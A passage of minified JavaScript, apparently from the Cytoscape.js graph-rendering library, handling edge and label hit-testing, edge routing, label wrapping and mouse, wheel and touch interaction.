U=$[P],j=a.arrowShapes[A.pstyle(U.name+"-arrow-shape").value],te=A.pstyle("width").pfValue;if(j.roughCollide(t,e,G,U.angle,{x:U.x,y:U.y},te,f)&&j.collide(t,e,G,U.angle,{x:U.x,y:U.y},te,f))return v(A),!0}h&&l.length>0&&(x(B),x(F))}o(b,"checkEdge");function T(A,C,R){return Us(A,C,R)}o(T,"preprop");function S(A,C){var R=A._private,I=p,L;C?L=C+"-":L="",A.boundingBox();var E=R.labelBounds[C||"main"],D=A.pstyle(L+"label").value,_=A.pstyle("text-events").strValue==="yes";if(!(!_||!D)){var O=T(R.rscratch,"labelX",C),M=T(R.rscratch,"labelY",C),P=T(R.rscratch,"labelAngle",C),B=A.pstyle(L+"text-margin-x").pfValue,F=A.pstyle(L+"text-margin-y").pfValue,G=E.x1-I-B,$=E.x2+I-B,U=E.y1-I-F,j=E.y2+I-F;if(P){var te=Math.cos(P),Y=Math.sin(P),oe=o(function(ae,Q){return ae=ae-O,Q=Q-M,{x:ae*te-Q*Y+O,y:ae*Y+Q*te+M}},"rotate"),J=oe(G,U),ue=oe(G,j),re=oe($,U),ee=oe($,j),Z=[J.x+B,J.y+F,re.x+B,re.y+F,ee.x+B,ee.y+F,ue.x+B,ue.y+F];if(Hs(t,e,Z))return v(A),!0}else if(yf(E,t,e))return v(A),!0}}o(S,"checkLabel");for(var w=s.length-1;w>=0;w--){var k=s[w];k.isNode()?x(k)||S(k):b(k)||S(k)||S(k,"source")||S(k,"target")}return l};Sp.getAllInBox=function(t,e,r,n){var i=this.getCachedZSortedEles().interactive,a=this.cy.zoom(),s=2/a,l=[],u=Math.min(t,r),h=Math.max(t,r),f=Math.min(e,n),d=Math.max(e,n);t=u,r=h,e=f,n=d;var p=cs({x1:t,y1:e,x2:r,y2:n}),m=[{x:p.x1,y:p.y1},{x:p.x2,y:p.y1},{x:p.x2,y:p.y2},{x:p.x1,y:p.y2}],g=[[m[0],m[1]],[m[1],m[2]],[m[2],m[3]],[m[3],m[0]]];function y(ae,Q,de){return Us(ae,Q,de)}o(y,"preprop");function v(ae,Q){var de=ae._private,ne=s,Te="";ae.boundingBox();var q=de.labelBounds.main;if(!q)return null;var Ve=y(de.rscratch,"labelX",Q),pe=y(de.rscratch,"labelY",Q),Be=y(de.rscratch,"labelAngle",Q),Ye=ae.pstyle(Te+"text-margin-x").pfValue,He=ae.pstyle(Te+"text-margin-y").pfValue,Le=q.x1-ne-Ye,Ie=q.x2+ne-Ye,Ne=q.y1-ne-He,Ce=q.y2+ne-He;if(Be){var Fe=Math.cos(Be),fe=Math.sin(Be),xe=o(function(he,z){return he=he-Ve,z=z-pe,{x:he*Fe-z*fe+Ve,y:he*fe+z*Fe+pe}},"rotate");return[xe(Le,Ne),xe(Ie,Ne),xe(Ie,Ce),xe(Le,Ce)]}else return[{x:Le,y:Ne},{x:Ie,y:Ne},{x:Ie,y:Ce},{x:Le,y:Ce}]}o(v,"getRotatedLabelBox");function x(ae,Q,de,ne){function Te(q,Ve,pe){return(pe.y-q.y)*(Ve.x-q.x)>(Ve.y-q.y)*(pe.x-q.x)}return o(Te,"ccw"),Te(ae,de,ne)!==Te(Q,de,ne)&&Te(ae,Q,de)!==Te(ae,Q,ne)}o(x,"doLinesIntersect");for(var b=0;b0?-(Math.PI-e.ang):Math.PI+e.ang},"invertVec"),dHe=o(function(e,r,n,i,a){if(e!==$ce?zce(r,e,Ic):fHe(Yo,Ic),zce(r,n,Yo),Bce=Ic.nx*Yo.ny-Ic.ny*Yo.nx,Fce=Ic.nx*Yo.nx-Ic.ny*-Yo.ny,Fu=Math.asin(Math.max(-1,Math.min(1,Bce))),Math.abs(Fu)<1e-6){eI=r.x,tI=r.y,gp=Qm=0;return}vp=1,qk=!1,Fce<0?Fu<0?Fu=Math.PI+Fu:(Fu=Math.PI-Fu,vp=-1,qk=!0):Fu>0&&(vp=-1,qk=!0),r.radius!==void 0?Qm=r.radius:Qm=i,fp=Fu/2,Ik=Math.min(Ic.len/2,Yo.len/2),a?(Nc=Math.abs(Math.cos(fp)*Qm/Math.sin(fp)),Nc>Ik?(Nc=Ik,gp=Math.abs(Nc*Math.sin(fp)/Math.cos(fp))):gp=Qm):(Nc=Math.min(Ik,Qm),gp=Math.abs(Nc*Math.sin(fp)/Math.cos(fp))),rI=r.x+Yo.nx*Nc,nI=r.y+Yo.ny*Nc,eI=rI-Yo.ny*gp*vp,tI=nI+Yo.nx*gp*vp,The=r.x+Ic.nx*Nc,whe=r.y+Ic.ny*Nc,$ce=r},"calcCornerArc");o(khe,"drawPreparedRoundCorner");o(LI,"getRoundCorner");dx=.01,pHe=Math.sqrt(2*dx),$a={};$a.findMidptPtsEtc=function(t,e){var r=e.posPts,n=e.intersectionPts,i=e.vectorNormInverse,a,s=t.pstyle("source-endpoint"),l=t.pstyle("target-endpoint"),u=s.units!=null&&l.units!=null,h=o(function(w,k,A,C){var R=C-k,I=A-w,L=Math.sqrt(I*I+R*R);return{x:-R/L,y:I/L}},"recalcVectorNormInverse"),f=t.pstyle("edge-distances").value;switch(f){case"node-position":a=r;break;case"intersection":a=n;break;case"endpoints":{if(u){var d=this.manualEndptToPx(t.source()[0],s),p=_i(d,2),m=p[0],g=p[1],y=this.manualEndptToPx(t.target()[0],l),v=_i(y,2),x=v[0],b=v[1],T={x1:m,y1:g,x2:x,y2:b};i=h(m,g,x,b),a=T}else hn("Edge ".concat(t.id()," has edge-distances:endpoints specified without manual endpoints specified via source-endpoint and target-endpoint. Falling back on edge-distances:intersection (default).")),a=n;break}}return{midptPts:a,vectorNormInverse:i}};$a.findHaystackPoints=function(t){for(var e=0;e0?Math.max(z-se,0):Math.min(z+se,0)},"subDWH"),D=E(I,C),_=E(L,R),O=!1;b===h?x=Math.abs(D)>Math.abs(_)?i:n:b===u||b===l?(x=n,O=!0):(b===a||b===s)&&(x=i,O=!0);var M=x===n,P=M?_:D,B=M?L:I,F=yI(B),G=!1;!(O&&(S||k))&&(b===l&&B<0||b===u&&B>0||b===a&&B>0||b===s&&B<0)&&(F*=-1,P=F*Math.abs(P),G=!0);var $;if(S){var U=w<0?1+w:w;$=U*P}else{var j=w<0?P:0;$=j+w*F}var te=o(function(z){return Math.abs(z)=Math.abs(P)},"getIsTooClose"),Y=te($),oe=te(Math.abs(P)-Math.abs($)),J=Y||oe;if(J&&!G)if(M){var ue=Math.abs(B)<=p/2,re=Math.abs(I)<=m/2;if(ue){var ee=(f.x1+f.x2)/2,Z=f.y1,K=f.y2;r.segpts=[ee,Z,ee,K]}else if(re){var ae=(f.y1+f.y2)/2,Q=f.x1,de=f.x2;r.segpts=[Q,ae,de,ae]}else r.segpts=[f.x1,f.y2]}else{var ne=Math.abs(B)<=d/2,Te=Math.abs(L)<=g/2;if(ne){var q=(f.y1+f.y2)/2,Ve=f.x1,pe=f.x2;r.segpts=[Ve,q,pe,q]}else if(Te){var Be=(f.x1+f.x2)/2,Ye=f.y1,He=f.y2;r.segpts=[Be,Ye,Be,He]}else r.segpts=[f.x2,f.y1]}else if(M){var Le=f.y1+$+(v?p/2*F:0),Ie=f.x1,Ne=f.x2;r.segpts=[Ie,Le,Ne,Le]}else{var Ce=f.x1+$+(v?d/2*F:0),Fe=f.y1,fe=f.y2;r.segpts=[Ce,Fe,Ce,fe]}if(r.isRound){var xe=t.pstyle("taxi-radius").value,W=t.pstyle("radius-type").value[0]==="arc-radius";r.radii=new Array(r.segpts.length/2).fill(xe),r.isArcRadius=new Array(r.segpts.length/2).fill(W)}};$a.tryToCorrectInvalidPoints=function(t,e){var r=t._private.rscratch;if(r.edgeType==="bezier"){var n=e.srcPos,i=e.tgtPos,a=e.srcW,s=e.srcH,l=e.tgtW,u=e.tgtH,h=e.srcShape,f=e.tgtShape,d=e.srcCornerRadius,p=e.tgtCornerRadius,m=e.srcRs,g=e.tgtRs,y=!At(r.startX)||!At(r.startY),v=!At(r.arrowStartX)||!At(r.arrowStartY),x=!At(r.endX)||!At(r.endY),b=!At(r.arrowEndX)||!At(r.arrowEndY),T=3,S=this.getArrowWidth(t.pstyle("width").pfValue,t.pstyle("arrow-scale").value)*this.arrowShapeWidth,w=T*S,k=Tp({x:r.ctrlpts[0],y:r.ctrlpts[1]},{x:r.startX,y:r.startY}),A=kB.poolIndex()){var F=P;P=B,B=F}var G=D.srcPos=P.position(),$=D.tgtPos=B.position(),U=D.srcW=P.outerWidth(),j=D.srcH=P.outerHeight(),te=D.tgtW=B.outerWidth(),Y=D.tgtH=B.outerHeight(),oe=D.srcShape=r.nodeShapes[e.getNodeShape(P)],J=D.tgtShape=r.nodeShapes[e.getNodeShape(B)],ue=D.srcCornerRadius=P.pstyle("corner-radius").value==="auto"?"auto":P.pstyle("corner-radius").pfValue,re=D.tgtCornerRadius=B.pstyle("corner-radius").value==="auto"?"auto":B.pstyle("corner-radius").pfValue,ee=D.tgtRs=B._private.rscratch,Z=D.srcRs=P._private.rscratch;D.dirCounts={north:0,west:0,south:0,east:0,northwest:0,southwest:0,northeast:0,southeast:0};for(var K=0;K=pHe||(Ne=Math.sqrt(Math.max(Ie*Ie,dx)+Math.max(Le*Le,dx)));var Ce=D.vector={x:Ie,y:Le},Fe=D.vectorNorm={x:Ce.x/Ne,y:Ce.y/Ne},fe={x:-Fe.y,y:Fe.x};D.nodesOverlap=!At(Ne)||J.checkPoint(q[0],q[1],0,te,Y,$.x,$.y,re,ee)||oe.checkPoint(pe[0],pe[1],0,U,j,G.x,G.y,ue,Z),D.vectorNormInverse=fe,_={nodesOverlap:D.nodesOverlap,dirCounts:D.dirCounts,calculatedIntersection:!0,hasBezier:D.hasBezier,hasUnbundled:D.hasUnbundled,eles:D.eles,srcPos:$,srcRs:ee,tgtPos:G,tgtRs:Z,srcW:te,srcH:Y,tgtW:U,tgtH:j,srcIntn:Be,tgtIntn:Ve,srcShape:J,tgtShape:oe,posPts:{x1:He.x2,y1:He.y2,x2:He.x1,y2:He.y1},intersectionPts:{x1:Ye.x2,y1:Ye.y2,x2:Ye.x1,y2:Ye.y1},vector:{x:-Ce.x,y:-Ce.y},vectorNorm:{x:-Fe.x,y:-Fe.y},vectorNormInverse:{x:-fe.x,y:-fe.y}}}var xe=Te?_:D;Q.nodesOverlap=xe.nodesOverlap,Q.srcIntn=xe.srcIntn,Q.tgtIntn=xe.tgtIntn,Q.isRound=de.startsWith("round"),i&&(P.isParent()||P.isChild()||B.isParent()||B.isChild())&&(P.parents().anySame(B)||B.parents().anySame(P)||P.same(B)&&P.isParent())?e.findCompoundLoopPoints(ae,xe,K,ne):P===B?e.findLoopPoints(ae,xe,K,ne):de.endsWith("segments")?e.findSegmentsPoints(ae,xe):de.endsWith("taxi")?e.findTaxiPoints(ae,xe):de==="straight"||!ne&&D.eles.length%2===1&&K===Math.floor(D.eles.length/2)?e.findStraightEdgePoints(ae):e.findBezierPoints(ae,xe,K,ne,Te),e.findEndpoints(ae),e.tryToCorrectInvalidPoints(ae,xe),e.checkForInvalidEdgeWarning(ae),e.storeAllpts(ae),e.storeEdgeProjections(ae),e.calculateArrowAngles(ae),e.recalculateEdgeLabelProjections(ae),e.calculateLabelAngles(ae)}},"_loop"),A=0;A0){var q=h,Ve=mp(q,tg(s)),pe=mp(q,tg(Te)),Be=Ve;if(pe2){var Ye=mp(q,{x:Te[2],y:Te[3]});Ye0){var le=f,ke=mp(le,tg(s)),ve=mp(le,tg(se)),ye=ke;if(ve2){var Re=mp(le,{x:se[2],y:se[3]});Re=g||A){v={cp:S,segment:k};break}}if(v)break}var C=v.cp,R=v.segment,I=(g-x)/R.length,L=R.t1-R.t0,E=m?R.t0+L*I:R.t1-L*I;E=ox(0,E,1),e=ig(C.p0,C.p1,C.p2,E),p=gHe(C.p0,C.p1,C.p2,E);break}case"straight":case"segments":case"haystack":{for(var D=0,_,O,M,P,B=n.allpts.length,F=0;F+3=g));F+=2);var G=g-O,$=G/_;$=ox(0,$,1),e=Fze(M,P,$),p=Che(M,P);break}}s("labelX",d,e.x),s("labelY",d,e.y),s("labelAutoAngle",d,p)}},"calculateEndProjection");h("source"),h("target"),this.applyLabelDimensions(t)}};Bc.applyLabelDimensions=function(t){this.applyPrefixedLabelDimensions(t),t.isEdge()&&(this.applyPrefixedLabelDimensions(t,"source"),this.applyPrefixedLabelDimensions(t,"target"))};Bc.applyPrefixedLabelDimensions=function(t,e){var r=t._private,n=this.getLabelText(t,e),i=bp(n,t._private.labelDimsKey);if(Us(r.rscratch,"prefixedLabelDimsKey",e)!==i){$u(r.rscratch,"prefixedLabelDimsKey",e,i);var a=this.calculateLabelDimensions(t,n),s=t.pstyle("line-height").pfValue,l=t.pstyle("text-wrap").strValue,u=Us(r.rscratch,"labelWrapCachedLines",e)||[],h=l!=="wrap"?1:Math.max(u.length,1),f=a.height/h,d=f*s,p=a.width,m=a.height+(h-1)*(s-1)*f;$u(r.rstyle,"labelWidth",e,p),$u(r.rscratch,"labelWidth",e,p),$u(r.rstyle,"labelHeight",e,m),$u(r.rscratch,"labelHeight",e,m),$u(r.rscratch,"labelLineHeight",e,d)}};Bc.getLabelText=function(t,e){var r=t._private,n=e?e+"-":"",i=t.pstyle(n+"label").strValue,a=t.pstyle("text-transform").value,s=o(function(j,te){return te?($u(r.rscratch,j,e,te),te):Us(r.rscratch,j,e)},"rscratch");if(!i)return"";a=="none"||(a=="uppercase"?i=i.toUpperCase():a=="lowercase"&&(i=i.toLowerCase()));var l=t.pstyle("text-wrap").value;if(l==="wrap"){var u=s("labelKey");if(u!=null&&s("labelWrapKey")===u)return s("labelWrapCachedText");for(var h="\u200B",f=i.split(` +`),d=t.pstyle("text-max-width").pfValue,p=t.pstyle("text-overflow-wrap").value,m=p==="anywhere",g=[],y=/[\s\u200b]+|$/g,v=0;vd){var w=x.matchAll(y),k="",A=0,C=qs(w),R;try{for(C.s();!(R=C.n()).done;){var I=R.value,L=I[0],E=x.substring(A,I.index);A=I.index+L.length;var D=k.length===0?E:k+E+L,_=this.calculateLabelDimensions(t,D),O=_.width;O<=d?k+=E+L:(k&&g.push(k),k=E+L)}}catch(U){C.e(U)}finally{C.f()}k.match(/^[\s\u200b]+$/)||g.push(k)}else g.push(x)}s("labelWrapCachedLines",g),i=s("labelWrapCachedText",g.join(` +`)),s("labelWrapKey",u)}else if(l==="ellipsis"){var M=t.pstyle("text-max-width").pfValue,P="",B="\u2026",F=!1;if(this.calculateLabelDimensions(t,i).widthM)break;P+=i[G],G===i.length-1&&(F=!0)}return F||(P+=B),P}return i};Bc.getLabelJustification=function(t){var e=t.pstyle("text-justification").strValue,r=t.pstyle("text-halign").strValue;if(e==="auto")if(t.isNode())switch(r){case"left":return"right";case"right":return"left";default:return"center"}else return"center";else return e};Bc.calculateLabelDimensions=function(t,e){var r=this,n=r.cy.window(),i=n.document,a=0,s=t.pstyle("font-style").strValue,l=t.pstyle("font-size").pfValue,u=t.pstyle("font-family").strValue,h=t.pstyle("font-weight").strValue,f=this.labelCalcCanvas,d=this.labelCalcCanvasContext;if(!f){f=this.labelCalcCanvas=i.createElement("canvas"),d=this.labelCalcCanvasContext=f.getContext("2d");var p=f.style;p.position="absolute",p.left="-9999px",p.top="-9999px",p.zIndex="-1",p.visibility="hidden",p.pointerEvents="none"}d.font="".concat(s," ").concat(h," ").concat(l,"px ").concat(u);for(var m=0,g=0,y=e.split(` +`),v=0;v1&&arguments[1]!==void 0?arguments[1]:!0;if(e.merge(s),l)for(var u=0;u=t.desktopTapThreshold2}var bt=a(z);lt&&(t.hoverData.tapholdCancelled=!0);var wt=o(function(){var Se=t.hoverData.dragDelta=t.hoverData.dragDelta||[];Se.length===0?(Se.push(et[0]),Se.push(et[1])):(Se[0]+=et[0],Se[1]+=et[1])},"updateDragDelta");le=!0,i(xt,["mousemove","vmousemove","tapdrag"],z,{x:Re[0],y:Re[1]});var yt=o(function(Se){return{originalEvent:z,type:Se,position:{x:Re[0],y:Re[1]}}},"makeEvent"),ft=o(function(){t.data.bgActivePosistion=void 0,t.hoverData.selecting||ke.emit(yt("boxstart")),Ke[4]=1,t.hoverData.selecting=!0,t.redrawHint("select",!0),t.redraw()},"goIntoBoxMode");if(t.hoverData.which===3){if(lt){var Ur=yt("cxtdrag");Oe?Oe.emit(Ur):ke.emit(Ur),t.hoverData.cxtDragged=!0,(!t.hoverData.cxtOver||xt!==t.hoverData.cxtOver)&&(t.hoverData.cxtOver&&t.hoverData.cxtOver.emit(yt("cxtdragout")),t.hoverData.cxtOver=xt,xt&&xt.emit(yt("cxtdragover")))}}else if(t.hoverData.dragging){if(le=!0,ke.panningEnabled()&&ke.userPanningEnabled()){var _t;if(t.hoverData.justStartedPan){var bn=t.hoverData.mdownPos;_t={x:(Re[0]-bn[0])*ve,y:(Re[1]-bn[1])*ve},t.hoverData.justStartedPan=!1}else _t={x:et[0]*ve,y:et[1]*ve};ke.panBy(_t),ke.emit(yt("dragpan")),t.hoverData.dragged=!0}Re=t.projectIntoViewport(z.clientX,z.clientY)}else if(Ke[4]==1&&(Oe==null||Oe.pannable())){if(lt){if(!t.hoverData.dragging&&ke.boxSelectionEnabled()&&(bt||!ke.panningEnabled()||!ke.userPanningEnabled()))ft();else if(!t.hoverData.selecting&&ke.panningEnabled()&&ke.userPanningEnabled()){var Br=s(Oe,t.hoverData.downs);Br&&(t.hoverData.dragging=!0,t.hoverData.justStartedPan=!0,Ke[4]=0,t.data.bgActivePosistion=tg(_e),t.redrawHint("select",!0),t.redraw())}Oe&&Oe.pannable()&&Oe.active()&&Oe.unactivate()}}else{if(Oe&&Oe.pannable()&&Oe.active()&&Oe.unactivate(),(!Oe||!Oe.grabbed())&&xt!=We&&(We&&i(We,["mouseout","tapdragout"],z,{x:Re[0],y:Re[1]}),xt&&i(xt,["mouseover","tapdragover"],z,{x:Re[0],y:Re[1]}),t.hoverData.last=xt),Oe)if(lt){if(ke.boxSelectionEnabled()&&bt)Oe&&Oe.grabbed()&&(x(Ue),Oe.emit(yt("freeon")),Ue.emit(yt("free")),t.dragData.didDrag&&(Oe.emit(yt("dragfreeon")),Ue.emit(yt("dragfree")))),ft();else if(Oe&&Oe.grabbed()&&t.nodeIsDraggable(Oe)){var cr=!t.dragData.didDrag;cr&&t.redrawHint("eles",!0),t.dragData.didDrag=!0,t.hoverData.draggingEles||y(Ue,{inDragLayer:!0});var ar={x:0,y:0};if(At(et[0])&&At(et[1])&&(ar.x+=et[0],ar.y+=et[1],cr)){var _r=t.hoverData.dragDelta;_r&&At(_r[0])&&At(_r[1])&&(ar.x+=_r[0],ar.y+=_r[1])}t.hoverData.draggingEles=!0,Ue.silentShift(ar).emit(yt("position")).emit(yt("drag")),t.redrawHint("drag",!0),t.redraw()}}else wt();le=!0}if(Ke[2]=Re[0],Ke[3]=Re[1],le)return z.stopPropagation&&z.stopPropagation(),z.preventDefault&&z.preventDefault(),!1}},"mousemoveHandler"),!1);var E,D,_;t.registerBinding(e,"mouseup",o(function(z){if(!(t.hoverData.which===1&&z.which!==1&&t.hoverData.capture)){var se=t.hoverData.capture;if(se){t.hoverData.capture=!1;var le=t.cy,ke=t.projectIntoViewport(z.clientX,z.clientY),ve=t.selection,ye=t.findNearestElement(ke[0],ke[1],!0,!1),Re=t.dragData.possibleDragElements,_e=t.hoverData.down,ze=a(z);t.data.bgActivePosistion&&(t.redrawHint("select",!0),t.redraw()),t.hoverData.tapholdCancelled=!0,t.data.bgActivePosistion=void 0,_e&&_e.unactivate();var Ke=o(function(Gt){return{originalEvent:z,type:Gt,position:{x:ke[0],y:ke[1]}}},"makeEvent");if(t.hoverData.which===3){var xt=Ke("cxttapend");if(_e?_e.emit(xt):le.emit(xt),!t.hoverData.cxtDragged){var We=Ke("cxttap");_e?_e.emit(We):le.emit(We)}t.hoverData.cxtDragged=!1,t.hoverData.which=null}else if(t.hoverData.which===1){if(i(ye,["mouseup","tapend","vmouseup"],z,{x:ke[0],y:ke[1]}),!t.dragData.didDrag&&!t.hoverData.dragged&&!t.hoverData.selecting&&!t.hoverData.isOverThresholdDrag&&(i(_e,["click","tap","vclick"],z,{x:ke[0],y:ke[1]}),D=!1,z.timeStamp-_<=le.multiClickDebounceTime()?(E&&clearTimeout(E),D=!0,_=null,i(_e,["dblclick","dbltap","vdblclick"],z,{x:ke[0],y:ke[1]})):(E=setTimeout(function(){D||i(_e,["oneclick","onetap","voneclick"],z,{x:ke[0],y:ke[1]})},le.multiClickDebounceTime()),_=z.timeStamp)),_e==null&&!t.dragData.didDrag&&!t.hoverData.selecting&&!t.hoverData.dragged&&!a(z)&&(le.$(r).unselect(["tapunselect"]),Re.length>0&&t.redrawHint("eles",!0),t.dragData.possibleDragElements=Re=le.collection()),ye==_e&&!t.dragData.didDrag&&!t.hoverData.selecting&&ye!=null&&ye._private.selectable&&(t.hoverData.dragging||(le.selectionType()==="additive"||ze?ye.selected()?ye.unselect(["tapunselect"]):ye.select(["tapselect"]):ze||(le.$(r).unmerge(ye).unselect(["tapunselect"]),ye.select(["tapselect"]))),t.redrawHint("eles",!0)),t.hoverData.selecting){var Oe=le.collection(t.getAllInBox(ve[0],ve[1],ve[2],ve[3]));t.redrawHint("select",!0),Oe.length>0&&t.redrawHint("eles",!0),le.emit(Ke("boxend"));var et=o(function(Gt){return Gt.selectable()&&!Gt.selected()},"eleWouldBeSelected");le.selectionType()==="additive"||ze||le.$(r).unmerge(Oe).unselect(),Oe.emit(Ke("box")).stdFilter(et).select().emit(Ke("boxselect")),t.redraw()}if(t.hoverData.dragging&&(t.hoverData.dragging=!1,t.redrawHint("select",!0),t.redrawHint("eles",!0),t.redraw()),!ve[4]){t.redrawHint("drag",!0),t.redrawHint("eles",!0);var Ue=_e&&_e.grabbed();x(Re),Ue&&(_e.emit(Ke("freeon")),Re.emit(Ke("free")),t.dragData.didDrag&&(_e.emit(Ke("dragfreeon")),Re.emit(Ke("dragfree"))))}}ve[4]=0,t.hoverData.down=null,t.hoverData.cxtStarted=!1,t.hoverData.draggingEles=!1,t.hoverData.selecting=!1,t.hoverData.isOverThresholdDrag=!1,t.dragData.didDrag=!1,t.hoverData.dragged=!1,t.hoverData.dragDelta=[],t.hoverData.mdownPos=null,t.hoverData.mdownGPos=null,t.hoverData.which=null}}},"mouseupHandler"),!1);var O=[],M=4,P,B=1e5,F=o(function(z,se){for(var le=0;le=M){var ke=O;if(P=F(ke,5),!P){var ve=Math.abs(ke[0]);P=G(ke)&&ve>5}if(P)for(var ye=0;ye5&&(le=yI(le)*5),We=le/-250,P&&(We/=B,We*=3),We=We*t.wheelSensitivity;var Oe=z.deltaMode===1;Oe&&(We*=33);var et=Re.zoom()*Math.pow(10,We);z.type==="gesturechange"&&(et=t.gestureStartZoom*z.scale),Re.zoom({level:et,renderedPosition:{x:xt[0],y:xt[1]}}),Re.emit({type:z.type==="gesturechange"?"pinchzoom":"scrollzoom",originalEvent:z,position:{x:Ke[0],y:Ke[1]}})}}}},"wheelHandler");t.registerBinding(t.container,"wheel",$,!0),t.registerBinding(e,"scroll",o(function(z){t.scrollingPage=!0,clearTimeout(t.scrollingPageTimeout),t.scrollingPageTimeout=setTimeout(function(){t.scrollingPage=!1},250)},"scrollHandler"),!0),t.registerBinding(t.container,"gesturestart",o(function(z){t.gestureStartZoom=t.cy.zoom(),t.hasTouchStarted||z.preventDefault()},"gestureStartHandler"),!0),t.registerBinding(t.container,"gesturechange",function(he){t.hasTouchStarted||$(he)},!0),t.registerBinding(t.container,"mouseout",o(function(z){var se=t.projectIntoViewport(z.clientX,z.clientY);t.cy.emit({originalEvent:z,type:"mouseout",position:{x:se[0],y:se[1]}})},"mouseOutHandler"),!1),t.registerBinding(t.container,"mouseover",o(function(z){var se=t.projectIntoViewport(z.clientX,z.clientY);t.cy.emit({originalEvent:z,type:"mouseover",position:{x:se[0],y:se[1]}})},"mouseOverHandler"),!1);var U,j,te,Y,oe,J,ue,re,ee,Z,K,ae,Q,de=o(function(z,se,le,ke){return Math.sqrt((le-z)*(le-z)+(ke-se)*(ke-se))},"distance"),ne=o(function(z,se,le,ke){return(le-z)*(le-z)+(ke-se)*(ke-se)},"distanceSq"),Te;t.registerBinding(t.container,"touchstart",Te=o(function(z){if(t.hasTouchStarted=!0,!!I(z)){T(),t.touchData.capture=!0,t.data.bgActivePosistion=void 0;var se=t.cy,le=t.touchData.now,ke=t.touchData.earlier;if(z.touches[0]){var ve=t.projectIntoViewport(z.touches[0].clientX,z.touches[0].clientY);le[0]=ve[0],le[1]=ve[1]}if(z.touches[1]){var ve=t.projectIntoViewport(z.touches[1].clientX,z.touches[1].clientY);le[2]=ve[0],le[3]=ve[1]}if(z.touches[2]){var ve=t.projectIntoViewport(z.touches[2].clientX,z.touches[2].clientY);le[4]=ve[0],le[5]=ve[1]}var ye=o(function(bt){return{originalEvent:z,type:bt,position:{x:le[0],y:le[1]}}},"makeEvent");if(z.touches[1]){t.touchData.singleTouchMoved=!0,x(t.dragData.touchDragEles);var Re=t.findContainerClientCoords();ee=Re[0],Z=Re[1],K=Re[2],ae=Re[3],U=z.touches[0].clientX-ee,j=z.touches[0].clientY-Z,te=z.touches[1].clientX-ee,Y=z.touches[1].clientY-Z,Q=0<=U&&U<=K&&0<=te&&te<=K&&0<=j&&j<=ae&&0<=Y&&Y<=ae;var _e=se.pan(),ze=se.zoom();oe=de(U,j,te,Y),J=ne(U,j,te,Y),ue=[(U+te)/2,(j+Y)/2],re=[(ue[0]-_e.x)/ze,(ue[1]-_e.y)/ze];var Ke=200,xt=Ke*Ke;if(J=1){for(var vt=t.touchData.startPosition=[null,null,null,null,null,null],Lt=0;Lt=t.touchTapThreshold2}if(se&&t.touchData.cxt){z.preventDefault();var Lt=z.touches[0].clientX-ee,dt=z.touches[0].clientY-Z,nt=z.touches[1].clientX-ee,bt=z.touches[1].clientY-Z,wt=ne(Lt,dt,nt,bt),yt=wt/J,ft=150,Ur=ft*ft,_t=1.5,bn=_t*_t;if(yt>=bn||wt>=Ur){t.touchData.cxt=!1,t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var Br=ze("cxttapend");t.touchData.start?(t.touchData.start.unactivate().emit(Br),t.touchData.start=null):ke.emit(Br)}}if(se&&t.touchData.cxt){var Br=ze("cxtdrag");t.data.bgActivePosistion=void 0,t.redrawHint("select",!0),t.touchData.start?t.touchData.start.emit(Br):ke.emit(Br),t.touchData.start&&(t.touchData.start._private.grabbed=!1),t.touchData.cxtDragged=!0;var cr=t.findNearestElement(ve[0],ve[1],!0,!0);(!t.touchData.cxtOver||cr!==t.touchData.cxtOver)&&(t.touchData.cxtOver&&t.touchData.cxtOver.emit(ze("cxtdragout")),t.touchData.cxtOver=cr,cr&&cr.emit(ze("cxtdragover")))}else if(se&&z.touches[2]&&ke.boxSelectionEnabled())z.preventDefault(),t.data.bgActivePosistion=void 0,this.lastThreeTouch=+new Date,t.touchData.selecting||ke.emit(ze("boxstart")),t.touchData.selecting=!0,t.touchData.didSelect=!0,le[4]=1,!le||le.length===0||le[0]===void 0?(le[0]=(ve[0]+ve[2]+ve[4])/3,le[1]=(ve[1]+ve[3]+ve[5])/3,le[2]=(ve[0]+ve[2]+ve[4])/3+1,le[3]=(ve[1]+ve[3]+ve[5])/3+1):(le[2]=(ve[0]+ve[2]+ve[4])/3,le[3]=(ve[1]+ve[3]+ve[5])/3),t.redrawHint("select",!0),t.redraw();else if(se&&z.touches[1]&&!t.touchData.didSelect&&ke.zoomingEnabled()&&ke.panningEnabled()&&ke.userZoomingEnabled()&&ke.userPanningEnabled()){z.preventDefault(),t.data.bgActivePosistion=void 0,t.redrawHint("select",!0);var ar=t.dragData.touchDragEles;if(ar){t.redrawHint("drag",!0);for(var _r=0;_r0&&!t.hoverData.draggingEles&&!t.swipePanning&&t.data.bgActivePosistion!=null&&(t.data.bgActivePosistion=void 0,t.redrawHint("select",!0),t.redraw())}},"touchmoveHandler"),!1);var Ve;t.registerBinding(e,"touchcancel",Ve=o(function(z){var se=t.touchData.start;t.touchData.capture=!1,se&&se.unactivate()},"touchcancelHandler"));var pe,Be,Ye,He;if(t.registerBinding(e,"touchend",pe=o(function(z){var se=t.touchData.start,le=t.touchData.capture;if(le)z.touches.length===0&&(t.touchData.capture=!1),z.preventDefault();else return;var ke=t.selection;t.swipePanning=!1,t.hoverData.draggingEles=!1;var ve=t.cy,ye=ve.zoom(),Re=t.touchData.now,_e=t.touchData.earlier;if(z.touches[0]){var ze=t.projectIntoViewport(z.touches[0].clientX,z.touches[0].clientY);Re[0]=ze[0],Re[1]=ze[1]}if(z.touches[1]){var ze=t.projectIntoViewport(z.touches[1].clientX,z.touches[1].clientY);Re[2]=ze[0],Re[3]=ze[1]}if(z.touches[2]){var ze=t.projectIntoViewport(z.touches[2].clientX,z.touches[2].clientY);Re[4]=ze[0],Re[5]=ze[1]}var Ke=o(function(Ur){return{originalEvent:z,type:Ur,position:{x:Re[0],y:Re[1]}}},"makeEvent");se&&se.unactivate();var xt;if(t.touchData.cxt){if(xt=Ke("cxttapend"),se?se.emit(xt):ve.emit(xt),!t.touchData.cxtDragged){var We=Ke("cxttap");se?se.emit(We):ve.emit(We)}t.touchData.start&&(t.touchData.start._private.grabbed=!1),t.touchData.cxt=!1,t.touchData.start=null,t.redraw();return}if(!z.touches[2]&&ve.boxSelectionEnabled()&&t.touchData.selecting){t.touchData.selecting=!1;var Oe=ve.collection(t.getAllInBox(ke[0],ke[1],ke[2],ke[3]));ke[0]=void 0,ke[1]=void 0,ke[2]=void 0,ke[3]=void 0,ke[4]=0,t.redrawHint("select",!0),ve.emit(Ke("boxend"));var et=o(function(Ur){return 